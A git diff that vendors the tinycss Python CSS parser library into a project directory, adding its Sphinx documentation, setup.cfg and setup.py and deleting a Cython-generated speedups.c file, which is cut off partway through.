true, show page references after internal links. +#latex_show_pagerefs = False + +# If true, show URL addresses after external links. +#latex_show_urls = False + +# Documents to append as an appendix to all manuals. +#latex_appendices = [] + +# If false, no module index is generated. +#latex_domain_indices = True + + +# -- Options for manual page output -------------------------------------------- + +# One entry per manual page. List of tuples +# (source start file, name, description, authors, manual section). +man_pages = [ + ('index', 'tinycss', 'tinycss Documentation', + ['Simon Sapin'], 1) +] + +# If true, show URL addresses after external links. +#man_show_urls = False + + +# -- Options for Texinfo output ------------------------------------------------ + +# Grouping the document tree into Texinfo files. List of tuples +# (source start file, target name, title, author, +# dir menu entry, description, category) +texinfo_documents = [ + ('index', 'tinycss', 'tinycss Documentation', + 'Simon Sapin', 'tinycss', 'One line description of project.', + 'Miscellaneous'), +] + +# Documents to append as an appendix to all manuals. +#texinfo_appendices = [] + +# If false, no module index is generated. +#texinfo_domain_indices = True + +# How to display URL addresses: 'footnote', 'no', or 'inline'. +#texinfo_show_urls = 'footnote' + + +# Example configuration for intersphinx: refer to the Python standard library. +intersphinx_mapping = {'http://docs.python.org/': None} diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/css3.rst b/PortalAuth/includes/scripts/libs/tinycss/docs/css3.rst new file mode 100644 index 0000000..91ad4c2 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/docs/css3.rst @@ -0,0 +1,116 @@ +CSS 3 Modules +============= + +.. _selectors3: + +Selectors 3 +----------- + +.. currentmodule:: tinycss.css21 + +On :attr:`RuleSet.selector`, the :meth:`~.token_data.TokenList.as_css` method +can be used to serialize a selector back to an Unicode string. + + >>> import tinycss + >>> stylesheet = tinycss.make_parser().parse_stylesheet( + ... 'div.error, #root > section:first-letter { color: red }') + >>> selector_string = stylesheet.rules[0].selector.as_css() + >>> selector_string + 'div.error, #root > section:first-letter' + +This string can be parsed by cssselect_. The parsed objects have information +about pseudo-elements and selector specificity. + +.. _cssselect: http://packages.python.org/cssselect/ + + >>> import cssselect + >>> selectors = cssselect.parse(selector_string) + >>> [s.specificity() for s in selectors] + [(0, 1, 1), (1, 0, 2)] + >>> [s.pseudo_element for s in selectors] + [None, 'first-letter'] + +These objects can in turn be translated to XPath expressions. Note that +the translation ignores pseudo-elements, you have to account for them +somehow or reject selectors with pseudo-elements. + + >>> xpath = cssselect.HTMLTranslator().selector_to_xpath(selectors[1]) + >>> xpath + "descendant-or-self::*[@id = 'root']/section" + +Finally, the XPath expressions can be used with lxml_ to find the matching +elements. + + >>> from lxml import etree + >>> compiled_selector = etree.XPath(xpath) + >>> document = etree.fromstring('''
+ ... + ...
+ ... Lorem
ipsum
+ ...
+ ...
''') + >>> [el.get('id') for el in compiled_selector(document)] + ['head', 'content'] + +.. _lxml: http://lxml.de/xpathxslt.html#xpath + +Find more details in the `cssselect documentation`_. + +.. _cssselect documentation: http://packages.python.org/cssselect/ + + +.. module:: tinycss.color3 + +Color 3 +------- + +This module implements parsing for the ** values, as defined in +`CSS 3 Color `_. + +The (deprecated) CSS2 system colors are not supported, but you can +easily test for them if you want as they are simple ``IDENT`` tokens. +For example:: + + if token.type == 'IDENT' and token.value == 'ButtonText': + return ... + +All other values types *are* supported: + +* Basic, extended (X11) and transparent color keywords; +* 3-digit and 6-digit hexadecimal notations; +* ``rgb()``, ``rgba()``, ``hsl()`` and ``hsla()`` functional notations. +* ``currentColor`` + +This module does not integrate with a parser class. Instead, it provides +a function that can parse tokens as found in :attr:`.css21.Declaration.value`, +for example. + +.. autofunction:: parse_color +.. autofunction:: parse_color_string +.. autoclass:: RGBA + + +.. module:: tinycss.page3 + +Paged Media 3 +------------- + +.. autoclass:: CSSPage3Parser +.. autoclass:: MarginRule + + +.. module:: tinycss.fonts3 + +Fonts 3 +------- + +.. autoclass:: CSSFonts3Parser +.. autoclass:: FontFaceRule +.. autoclass:: FontFeatureValuesRule +.. autoclass:: FontFeatureRule + + +Other CSS modules +----------------- + +To add support for new CSS syntax, see :ref:`extending`. diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/extending.rst b/PortalAuth/includes/scripts/libs/tinycss/docs/extending.rst new file mode 100644 index 0000000..d688865 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/docs/extending.rst @@ -0,0 +1,97 @@ +.. _extending: + +Extending the parser +==================== + +Modules such as :mod:`.page3` extend the CSS 2.1 parser to add support for +CSS 3 syntax. +They do so by sub-classing :class:`.css21.CSS21Parser` and overriding/extending +some of its methods. If fact, the parser is made of methods in a class +(rather than a set of functions) solely to enable this kind of sub-classing. + +tinycss is designed to enable you to have parser subclasses outside of +tinycss, without monkey-patching. If however the syntax you added is for a +W3C specification, consider including your subclass in a new tinycss module +and send a pull request: see :ref:`hacking`. + + +.. currentmodule:: tinycss.css21 + +Example: star hack +------------------ + +.. _star hack: https://en.wikipedia.org/wiki/CSS_filter#Star_hack + +The `star hack`_ uses invalid declarations that are only parsed by some +versions of Internet Explorer. By default, tinycss ignores invalid +declarations and logs an error. + + >>> from tinycss.css21 import CSS21Parser + >>> css = '#elem { width: [W3C Model Width]; *width: [BorderBox Model]; }' + >>> stylesheet = CSS21Parser().parse_stylesheet(css) + >>> stylesheet.errors + [ParseError('Parse error at 1:35, expected a property name, got DELIM',)] + >>> [decl.name for decl in stylesheet.rules[0].declarations] + ['width'] + +If for example a minifier based on tinycss wants to support the star hack, +it can by extending the parser:: + + >>> class CSSStarHackParser(CSS21Parser): + ... def parse_declaration(self, tokens): + ... has_star_hack = (tokens[0].type == 'DELIM' and tokens[0].value == '*') + ... if has_star_hack: + ... tokens = tokens[1:] + ... declaration = super(CSSStarHackParser, self).parse_declaration(tokens) + ... declaration.has_star_hack = has_star_hack + ... return declaration + ... + >>> stylesheet = CSSStarHackParser().parse_stylesheet(css) + >>> stylesheet.errors + [] + >>> [(d.name, d.has_star_hack) for d in stylesheet.rules[0].declarations] + [('width', False), ('width', True)] + +This class extends the :meth:`~CSS21Parser.parse_declaration` method. +It removes any ``*`` delimeter :class:`~.token_data.Token` at the start of +a declaration, and adds a ``has_star_hack`` boolean attribute on parsed +:class:`Declaration` objects: ``True`` if a ``*`` was removed, ``False`` for +“normal” declarations. + + +Parser methods +-------------- + +In addition to methods of the user API (see :ref:`parsing`), here +are the methods of the CSS 2.1 parser that can be overriden or extended: + +.. automethod:: CSS21Parser.parse_rules +.. automethod:: CSS21Parser.read_at_rule +.. automethod:: CSS21Parser.parse_at_rule +.. automethod:: CSS21Parser.parse_media +.. automethod:: CSS21Parser.parse_page_selector +.. automethod:: CSS21Parser.parse_declarations_and_at_rules +.. automethod:: CSS21Parser.parse_ruleset +.. automethod:: CSS21Parser.parse_declaration_list +.. automethod:: CSS21Parser.parse_declaration +.. automethod:: CSS21Parser.parse_value_priority + +Unparsed at-rules +----------------- + +.. autoclass:: AtRule + + +.. module:: tinycss.parsing + +Parsing helper functions +------------------------ + +The :mod:`tinycss.parsing` module contains helper functions for parsing +tokens into a more structured form: + +.. autofunction:: strip_whitespace +.. autofunction:: split_on_comma +.. autofunction:: validate_value +.. autofunction:: validate_block +.. autofunction:: validate_any diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/hacking.rst b/PortalAuth/includes/scripts/libs/tinycss/docs/hacking.rst new file mode 100644 index 0000000..8fbd613 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/docs/hacking.rst @@ -0,0 +1,117 @@ +.. _hacking: + +Hacking tinycss +=============== + +.. highlight:: sh + +Bugs and feature requests +------------------------- + +Bug reports, feature requests and other issues should got to the +`tinycss issue tracker`_ on Github. Any suggestion or feedback is welcome. +Please include in full any error message, trackback or other detail that +could be helpful. + +.. _tinycss issue tracker: https://github.com/SimonSapin/tinycss/issues + + +Installing the development version +---------------------------------- + +First, get the latest git version:: + + git clone https://github.com/SimonSapin/tinycss.git + cd tinycss + +You will need Cython_ and pytest_. Installing in a virtualenv_ is recommended:: + + virtualenv env + . env/bin/activate + pip install Cython pytest + +.. _Cython: http://cython.org/ +.. _pytest: http://pytest.org/ +.. _virtualenv: http://www.virtualenv.org/ + +Then, install tinycss in-place with pip’s *editable mode*. This will also +build the accelerators:: + + pip install -e . + + +Running the test suite +---------------------- + +Once you have everything installed (see above), just run pytest from the +*tinycss* directory:: + + py.test + +If the accelerators are not available for some reason, use the +``TINYCSS_SKIP_SPEEDUPS_TESTS`` environment variable:: + + TINYCSS_SKIP_SPEEDUPS_TESTS=1 py.test + +If you get test failures on a fresh git clone, something may have gone wrong +during the installation. Otherwise, you probably found a bug. Please +`report it <#bugs-and-feature-requests>`_. + + +Test in multiple Python versions with tox +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +tox_ automatically creates virtualenvs for various Python versions and +runs the test suite there:: + + pip install tox + +Change to the project’s root directory and just run:: + + tox + +.. _tox: http://tox.testrun.org/ + +tinycss comes with a pre-configured ``tox.ini`` file to test in CPython +2.6, 2.7, 3.1 and 3.2 as well as PyPy. You can change that with the ``-e`` +parameter:: + + tox -e py27,py32 + +If you use ``--`` in the arguments passed to tox, further arguments +are passed to the underlying ``py.test`` command:: + + tox -- -x --pdb + + +Building the documentation +-------------------------- + +This documentation is made with Sphinx_:: + + pip install Sphinx + +.. _Sphinx: http://sphinx.pocoo.org/ + +To build the HTML version of the documentation, change to the project’s root +directory and run:: + + python setup.py build_sphinx + +The built HTML files are in ``docs/_build/html``. + + +Making a patch and a pull request +--------------------------------- + +If you would like to see something included in tinycss, please fork +`the repository `_ on Github +and make a pull request. Make sure to include tests for your change. + + +Mailing-list +------------ + +tinycss does not have a mailing-list of its own for now, but the +`WeasyPrint mailing-list `_ +is appropriate to discuss it. diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/index.rst b/PortalAuth/includes/scripts/libs/tinycss/docs/index.rst new file mode 100644 index 0000000..541ff9d --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/docs/index.rst @@ -0,0 +1,50 @@ +.. include:: ../README.rst + + +Requirements +------------ + +`tinycss is tested `_ on CPython 2.7, 3.3, +3.4 and 3.5 as well as PyPy 5.3 and PyPy3 2.4; it should work on any +implementation of **Python 2.7 or later version (including 3.x)** of the +language. + +Cython_ is used for optional accelerators but is only required for +development versions on tinycss. + +.. _Cython: http://cython.org/ + + +Installation +------------ + +Installing with `pip `_ should Just Work: + +.. code-block:: sh + + pip install tinycss + +The release tarballs contain pre-*cythoned* C files for the accelerators: +you will not need Cython to install like this. +If the accelerators fail to build for some reason, tinycss will +print a warning and fall back to a pure-Python installation. + + +Documentation +------------- + +.. Have this page in the sidebar, but do not show a link to itself here: + +.. toctree:: + :hidden: + + self + +.. toctree:: + :maxdepth: 2 + + parsing + css3 + extending + hacking + changelog diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/parsing.rst b/PortalAuth/includes/scripts/libs/tinycss/docs/parsing.rst new file mode 100644 index 0000000..effd37d --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/docs/parsing.rst @@ -0,0 +1,97 @@ +Parsing with tinycss +==================== + +.. highlight:: python + +Quickstart +---------- + +Import *tinycss*, make a parser object with the features you want, +and parse a stylesheet: + +.. doctest:: + + >>> import tinycss + >>> parser = tinycss.make_parser('page3') + >>> stylesheet = parser.parse_stylesheet_bytes(b'''@import "foo.css"; + ... p.error { color: red } @lorem-ipsum; + ... @page tables { size: landscape }''') + >>> stylesheet.rules + [, , ] + >>> stylesheet.errors + [ParseError('Parse error at 2:29, unknown at-rule in stylesheet context: @lorem-ipsum',)] + +You’ll get a :class:`~tinycss.css21.Stylesheet` object which contains +all the parsed content as well as a list of encountered errors. + + +Parsers +------- + +Parsers are subclasses of :class:`tinycss.css21.CSS21Parser`. Various +subclasses add support for more syntax. You can choose which features to +enable by making a new parser class with multiple inheritance, but there +is also a convenience function to do that: + +.. module:: tinycss + +.. autofunction:: make_parser + + +.. module:: tinycss.css21 +.. _parsing: + +Parsing a stylesheet +~~~~~~~~~~~~~~~~~~~~ + +Parser classes have three different methods to parse CSS stylesheet, +depending on whether you have a file, a byte string, or an Unicode string. + +.. autoclass:: CSS21Parser + :members: parse_stylesheet_file, parse_stylesheet_bytes, parse_stylesheet + + +Parsing a ``style`` attribute +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +.. automethod:: CSS21Parser.parse_style_attr + + +Parsed objects +-------------- + +These data structures make up the results of the various parsing methods. + +.. autoclass:: tinycss.parsing.ParseError() +.. autoclass:: Stylesheet() + +.. note:: + All subsequent objects have :obj:`line` and :obj:`column` attributes (not + repeated every time fore brevity) that indicate where in the CSS source + this object was read. + +.. autoclass:: RuleSet() +.. autoclass:: ImportRule() +.. autoclass:: MediaRule() +.. autoclass:: PageRule() +.. autoclass:: Declaration() + + +Tokens +------ + +Some parts of a stylesheet (such as selectors in CSS 2.1 or property values) +are not parsed by tinycss. They appear as tokens instead. + +.. module:: tinycss.token_data + +.. autoclass:: TokenList() + :member-order: bysource + :members: +.. autoclass:: Token() + :members: +.. autoclass:: tinycss.speedups.CToken() +.. autoclass:: ContainerToken() + :members: + +.. autoclass:: FunctionToken() diff --git a/PortalAuth/includes/scripts/libs/tinycss/setup.cfg b/PortalAuth/includes/scripts/libs/tinycss/setup.cfg new file mode 100644 index 0000000..2c35592 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/setup.cfg @@ -0,0 +1,23 @@ +[build_sphinx] +source-dir = docs +build-dir = docs/_build + +[upload_sphinx] +upload-dir = docs/_build/html + +[aliases] +test = pytest + +[tool:pytest] +addopts = --flake8 --isort --cov --ignore=test/cairosvg_reference +norecursedirs = dist .cache .git build *.egg-info .eggs venv cairosvg_reference +flake8-ignore = docs/conf.py ALL +isort_ignore = + docs/conf.py + setup.py + +[egg_info] +tag_build = +tag_date = 0 +tag_svn_revision = 0 + diff --git a/PortalAuth/includes/scripts/libs/tinycss/setup.py b/PortalAuth/includes/scripts/libs/tinycss/setup.py new file mode 100644 index 0000000..3c50f5b --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/setup.py @@ -0,0 +1,127 @@ +import os.path +import re +import sys +from distutils.errors import ( + CCompilerError, DistutilsExecError, DistutilsPlatformError) +from setuptools import Extension, setup + +try: + from Cython.Distutils import build_ext + import Cython.Compiler.Version + CYTHON_INSTALLED = True +except ImportError: + from distutils.command.build_ext import build_ext + CYTHON_INSTALLED = False + + +ext_errors = (CCompilerError, DistutilsExecError, DistutilsPlatformError) +if sys.platform == 'win32' and sys.version_info > (2, 6): + # 2.6's distutils.msvc9compiler can raise an IOError when failing to + # find the compiler + ext_errors += (IOError,) + + +class BuildFailed(Exception): + pass + + +class ve_build_ext(build_ext): + # This class allows C extension building to fail. + + def run(self): + try: + build_ext.run(self) + except DistutilsPlatformError: + raise BuildFailed + + def build_extension(self, ext): + try: + build_ext.build_extension(self, ext) + except ext_errors: + raise BuildFailed + + +ROOT = os.path.dirname(__file__) +with open(os.path.join(ROOT, 'tinycss', 'version.py')) as fd: + VERSION = re.search("VERSION = '([^']+)'", fd.read()).group(1) + +with open(os.path.join(ROOT, 'README.rst'), 'rb') as fd: + README = fd.read().decode('utf8') + + +needs_pytest = {'pytest', 'test', 'ptr'}.intersection(sys.argv) +pytest_runner = ['pytest-runner'] if needs_pytest else [] + + +def run_setup(with_extension): + if with_extension: + extension_path = os.path.join('tinycss', 'speedups') + if CYTHON_INSTALLED: + extension_path += '.pyx' + print('Building with Cython %s.' % Cython.Compiler.Version.version) + else: + extension_path += '.c' + if not os.path.exists(extension_path): + print("WARNING: Trying to build without Cython, but " + "pre-generated '%s' does not seem to be available." + % extension_path) + else: + print('Building without Cython.') + kwargs = dict( + cmdclass=dict(build_ext=ve_build_ext), + ext_modules=[Extension('tinycss.speedups', + sources=[extension_path])], + ) + else: + kwargs = dict() + + setup( + name='tinycss', + version=VERSION, + url='http://tinycss.readthedocs.io/', + license='BSD', + author='Simon Sapin', + author_email='simon.sapin@exyr.org', + description='tinycss is a complete yet simple CSS parser for Python.', + long_description=README, + classifiers=[ + 'Development Status :: 4 - Beta', + 'Intended Audience :: Developers', + 'License :: OSI Approved :: BSD License', + 'Programming Language :: Python :: 2', + 'Programming Language :: Python :: 2.7', + 'Programming Language :: Python :: 3', + 'Programming Language :: Python :: 3.3', + 'Programming Language :: Python :: 3.4', + 'Programming Language :: Python :: 3.5', + 'Programming Language :: Python :: Implementation :: CPython', + 'Programming Language :: Python :: Implementation :: PyPy', + ], + setup_requires=pytest_runner, + tests_require=[ + 'pytest-cov', 'pytest-flake8', 'pytest-isort', 'pytest-runner'], + extras_require={'test': ( + 'pytest-runner', 'pytest-cov', 'pytest-flake8', 'pytest-isort')}, + packages=['tinycss', 'tinycss.tests'], + **kwargs + ) + + +IS_PYPY = hasattr(sys, 'pypy_translation_info') +try: + run_setup(not IS_PYPY) +except BuildFailed: + BUILD_EXT_WARNING = ('WARNING: The extension could not be compiled, ' + 'speedups are not enabled.') + print('*' * 75) + print(BUILD_EXT_WARNING) + print('Failure information, if any, is above.') + print('Retrying the build without the Cython extension now.') + print('*' * 75) + + run_setup(False) + + print('*' * 75) + print(BUILD_EXT_WARNING) + print('Plain-Python installation succeeded.') + print('*' * 75) diff --git a/PortalAuth/includes/scripts/libs/tinycss/speedups.c b/PortalAuth/includes/scripts/libs/tinycss/speedups.c deleted file mode 100755 index f3fce77..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/speedups.c +++ /dev/null @@ -1,5375 +0,0 @@ -/* Generated by Cython 0.15.1 on Tue Aug 21 18:52:40 2012 */ - -#define PY_SSIZE_T_CLEAN -#include "Python.h" -#ifndef Py_PYTHON_H - #error Python headers needed to compile C extensions, please install development version of Python. -#else - -#include /* For offsetof */ -#ifndef offsetof -#define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) -#endif - -#if !defined(WIN32) && !defined(MS_WINDOWS) - #ifndef __stdcall - #define __stdcall - #endif - #ifndef __cdecl - #define __cdecl - #endif - #ifndef __fastcall - #define __fastcall - #endif -#endif - -#ifndef DL_IMPORT - #define DL_IMPORT(t) t -#endif -#ifndef DL_EXPORT - #define DL_EXPORT(t) t -#endif - -#ifndef PY_LONG_LONG - #define PY_LONG_LONG LONG_LONG -#endif - -#if PY_VERSION_HEX < 0x02040000 - #define METH_COEXIST 0 - #define PyDict_CheckExact(op) (Py_TYPE(op) == &PyDict_Type) - #define PyDict_Contains(d,o) PySequence_Contains(d,o) -#endif - -#if PY_VERSION_HEX < 0x02050000 - typedef int Py_ssize_t; - #define PY_SSIZE_T_MAX INT_MAX - #define PY_SSIZE_T_MIN INT_MIN - #define PY_FORMAT_SIZE_T "" - #define PyInt_FromSsize_t(z) PyInt_FromLong(z) - #define PyInt_AsSsize_t(o) __Pyx_PyInt_AsInt(o) - #define PyNumber_Index(o) PyNumber_Int(o) - #define PyIndex_Check(o) PyNumber_Check(o) - #define PyErr_WarnEx(category, message, stacklevel) PyErr_Warn(category, message) -#endif - -#if PY_VERSION_HEX < 0x02060000 - #define Py_REFCNT(ob) (((PyObject*)(ob))->ob_refcnt) - #define Py_TYPE(ob) (((PyObject*)(ob))->ob_type) - #define Py_SIZE(ob) (((PyVarObject*)(ob))->ob_size) - #define PyVarObject_HEAD_INIT(type, size) \ - PyObject_HEAD_INIT(type) size, - #define PyType_Modified(t) - - typedef struct { - void *buf; - PyObject *obj; - Py_ssize_t len; - Py_ssize_t itemsize; - int readonly; - int ndim; - char *format; - Py_ssize_t *shape; - Py_ssize_t *strides; - Py_ssize_t *suboffsets; - void *internal; - } Py_buffer; - - #define PyBUF_SIMPLE 0 - #define PyBUF_WRITABLE 0x0001 - #define PyBUF_FORMAT 0x0004 - #define PyBUF_ND 0x0008 - #define PyBUF_STRIDES (0x0010 | PyBUF_ND) - #define PyBUF_C_CONTIGUOUS (0x0020 | PyBUF_STRIDES) - #define PyBUF_F_CONTIGUOUS (0x0040 | PyBUF_STRIDES) - #define PyBUF_ANY_CONTIGUOUS (0x0080 | PyBUF_STRIDES) - #define PyBUF_INDIRECT (0x0100 | PyBUF_STRIDES) - -#endif - -#if PY_MAJOR_VERSION < 3 - #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" -#else - #define __Pyx_BUILTIN_MODULE_NAME "builtins" -#endif - -#if PY_MAJOR_VERSION >= 3 - #define Py_TPFLAGS_CHECKTYPES 0 - #define Py_TPFLAGS_HAVE_INDEX 0 -#endif - -#if (PY_VERSION_HEX < 0x02060000) || (PY_MAJOR_VERSION >= 3) - #define Py_TPFLAGS_HAVE_NEWBUFFER 0 -#endif - -#if PY_MAJOR_VERSION >= 3 - #define PyBaseString_Type PyUnicode_Type - #define PyStringObject PyUnicodeObject - #define PyString_Type PyUnicode_Type - #define PyString_Check PyUnicode_Check - #define PyString_CheckExact PyUnicode_CheckExact -#endif - -#if PY_VERSION_HEX < 0x02060000 - #define PyBytesObject PyStringObject - #define PyBytes_Type PyString_Type - #define PyBytes_Check PyString_Check - #define PyBytes_CheckExact PyString_CheckExact - #define PyBytes_FromString PyString_FromString - #define PyBytes_FromStringAndSize PyString_FromStringAndSize - #define PyBytes_FromFormat PyString_FromFormat - #define PyBytes_DecodeEscape PyString_DecodeEscape - #define PyBytes_AsString PyString_AsString - #define PyBytes_AsStringAndSize PyString_AsStringAndSize - #define PyBytes_Size PyString_Size - #define PyBytes_AS_STRING PyString_AS_STRING - #define PyBytes_GET_SIZE PyString_GET_SIZE - #define PyBytes_Repr PyString_Repr - #define PyBytes_Concat PyString_Concat - #define PyBytes_ConcatAndDel PyString_ConcatAndDel -#endif - -#if PY_VERSION_HEX < 0x02060000 - #define PySet_Check(obj) PyObject_TypeCheck(obj, &PySet_Type) - #define PyFrozenSet_Check(obj) PyObject_TypeCheck(obj, &PyFrozenSet_Type) -#endif -#ifndef PySet_CheckExact - #define PySet_CheckExact(obj) (Py_TYPE(obj) == &PySet_Type) -#endif - -#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) - -#if PY_MAJOR_VERSION >= 3 - #define PyIntObject PyLongObject - #define PyInt_Type PyLong_Type - #define PyInt_Check(op) PyLong_Check(op) - #define PyInt_CheckExact(op) PyLong_CheckExact(op) - #define PyInt_FromString PyLong_FromString - #define PyInt_FromUnicode PyLong_FromUnicode - #define PyInt_FromLong PyLong_FromLong - #define PyInt_FromSize_t PyLong_FromSize_t - #define PyInt_FromSsize_t PyLong_FromSsize_t - #define PyInt_AsLong PyLong_AsLong - #define PyInt_AS_LONG PyLong_AS_LONG - #define PyInt_AsSsize_t PyLong_AsSsize_t - #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask - #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask -#endif - -#if PY_MAJOR_VERSION >= 3 - #define PyBoolObject PyLongObject -#endif - -#if PY_VERSION_HEX < 0x03020000 - typedef long Py_hash_t; - #define __Pyx_PyInt_FromHash_t PyInt_FromLong - #define __Pyx_PyInt_AsHash_t PyInt_AsLong -#else - #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t - #define __Pyx_PyInt_AsHash_t PyInt_AsSsize_t -#endif - - -#if PY_MAJOR_VERSION >= 3 - #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) - #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) -#else - #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y) - #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y) -#endif - -#if (PY_MAJOR_VERSION < 3) || (PY_VERSION_HEX >= 0x03010300) - #define __Pyx_PySequence_GetSlice(obj, a, b) PySequence_GetSlice(obj, a, b) - #define __Pyx_PySequence_SetSlice(obj, a, b, value) PySequence_SetSlice(obj, a, b, value) - #define __Pyx_PySequence_DelSlice(obj, a, b) PySequence_DelSlice(obj, a, b) -#else - #define __Pyx_PySequence_GetSlice(obj, a, b) (unlikely(!(obj)) ? \ - (PyErr_SetString(PyExc_SystemError, "null argument to internal routine"), (PyObject*)0) : \ - (likely((obj)->ob_type->tp_as_mapping) ? (PySequence_GetSlice(obj, a, b)) : \ - (PyErr_Format(PyExc_TypeError, "'%.200s' object is unsliceable", (obj)->ob_type->tp_name), (PyObject*)0))) - #define __Pyx_PySequence_SetSlice(obj, a, b, value) (unlikely(!(obj)) ? \ - (PyErr_SetString(PyExc_SystemError, "null argument to internal routine"), -1) : \ - (likely((obj)->ob_type->tp_as_mapping) ? (PySequence_SetSlice(obj, a, b, value)) : \ - (PyErr_Format(PyExc_TypeError, "'%.200s' object doesn't support slice assignment", (obj)->ob_type->tp_name), -1))) - #define __Pyx_PySequence_DelSlice(obj, a, b) (unlikely(!(obj)) ? \ - (PyErr_SetString(PyExc_SystemError, "null argument to internal routine"), -1) : \ - (likely((obj)->ob_type->tp_as_mapping) ? (PySequence_DelSlice(obj, a, b)) : \ - (PyErr_Format(PyExc_TypeError, "'%.200s' object doesn't support slice deletion", (obj)->ob_type->tp_name), -1))) -#endif - -#if PY_MAJOR_VERSION >= 3 - #define PyMethod_New(func, self, klass) ((self) ? PyMethod_New(func, self) : PyInstanceMethod_New(func)) -#endif - -#if PY_VERSION_HEX < 0x02050000 - #define __Pyx_GetAttrString(o,n) PyObject_GetAttrString((o),((char *)(n))) - #define __Pyx_SetAttrString(o,n,a) PyObject_SetAttrString((o),((char *)(n)),(a)) - #define __Pyx_DelAttrString(o,n) PyObject_DelAttrString((o),((char *)(n))) -#else - #define __Pyx_GetAttrString(o,n) PyObject_GetAttrString((o),(n)) - #define __Pyx_SetAttrString(o,n,a) PyObject_SetAttrString((o),(n),(a)) - #define __Pyx_DelAttrString(o,n) PyObject_DelAttrString((o),(n)) -#endif - -#if PY_VERSION_HEX < 0x02050000 - #define __Pyx_NAMESTR(n) ((char *)(n)) - #define __Pyx_DOCSTR(n) ((char *)(n)) -#else - #define __Pyx_NAMESTR(n) (n) - #define __Pyx_DOCSTR(n) (n) -#endif - -#ifndef __PYX_EXTERN_C - #ifdef __cplusplus - #define __PYX_EXTERN_C extern "C" - #else - #define __PYX_EXTERN_C extern - #endif -#endif - -#if defined(WIN32) || defined(MS_WINDOWS) -#define _USE_MATH_DEFINES -#endif -#include -#define __PYX_HAVE__tinycss__speedups -#define __PYX_HAVE_API__tinycss__speedups -#ifdef _OPENMP -#include -#endif /* _OPENMP */ - -#ifdef PYREX_WITHOUT_ASSERTIONS -#define CYTHON_WITHOUT_ASSERTIONS -#endif - - -/* inline attribute */ -#ifndef CYTHON_INLINE - #if defined(__GNUC__) - #define CYTHON_INLINE __inline__ - #elif defined(_MSC_VER) - #define CYTHON_INLINE __inline - #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L - #define CYTHON_INLINE inline - #else - #define CYTHON_INLINE - #endif -#endif - -/* unused attribute */ -#ifndef CYTHON_UNUSED -# if defined(__GNUC__) -# if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) -# define CYTHON_UNUSED __attribute__ ((__unused__)) -# else -# define CYTHON_UNUSED -# endif -# elif defined(__ICC) || defined(__INTEL_COMPILER) -# define CYTHON_UNUSED __attribute__ ((__unused__)) -# else -# define CYTHON_UNUSED -# endif -#endif - -typedef struct {PyObject **p; char *s; const long n; const char* encoding; const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; /*proto*/ - - -/* Type Conversion Predeclarations */ - -#define __Pyx_PyBytes_FromUString(s) PyBytes_FromString((char*)s) -#define __Pyx_PyBytes_AsUString(s) ((unsigned char*) PyBytes_AsString(s)) - -#define __Pyx_Owned_Py_None(b) (Py_INCREF(Py_None), Py_None) -#define __Pyx_PyBool_FromLong(b) ((b) ? (Py_INCREF(Py_True), Py_True) : (Py_INCREF(Py_False), Py_False)) -static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); -static CYTHON_INLINE PyObject* __Pyx_PyNumber_Int(PyObject* x); - -static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); -static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); -static CYTHON_INLINE size_t __Pyx_PyInt_AsSize_t(PyObject*); - -#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) - - -#ifdef __GNUC__ - /* Test for GCC > 2.95 */ - #if __GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95)) - #define likely(x) __builtin_expect(!!(x), 1) - #define unlikely(x) __builtin_expect(!!(x), 0) - #else /* __GNUC__ > 2 ... */ - #define likely(x) (x) - #define unlikely(x) (x) - #endif /* __GNUC__ > 2 ... */ -#else /* __GNUC__ */ - #define likely(x) (x) - #define unlikely(x) (x) -#endif /* __GNUC__ */ - -static PyObject *__pyx_m; -static PyObject *__pyx_b; -static PyObject *__pyx_empty_tuple; -static PyObject *__pyx_empty_bytes; -static int __pyx_lineno; -static int __pyx_clineno = 0; -static const char * __pyx_cfilenm= __FILE__; -static const char *__pyx_filename; - - -static const char *__pyx_f[] = { - "speedups.pyx", -}; - -static PyObject *__Pyx_Generator_Next(PyObject *self); -static PyObject *__Pyx_Generator_Send(PyObject *self, PyObject *value); -static PyObject *__Pyx_Generator_Close(PyObject *self); -static PyObject *__Pyx_Generator_Throw(PyObject *gen, PyObject *args, CYTHON_UNUSED PyObject *kwds); - -typedef PyObject *(*__pyx_generator_body_t)(PyObject *, PyObject *); - -/*--- Type declarations ---*/ -struct __pyx_Generator_object; -struct __pyx_obj_7tinycss_8speedups___pyx_scope_struct__genexpr; -struct 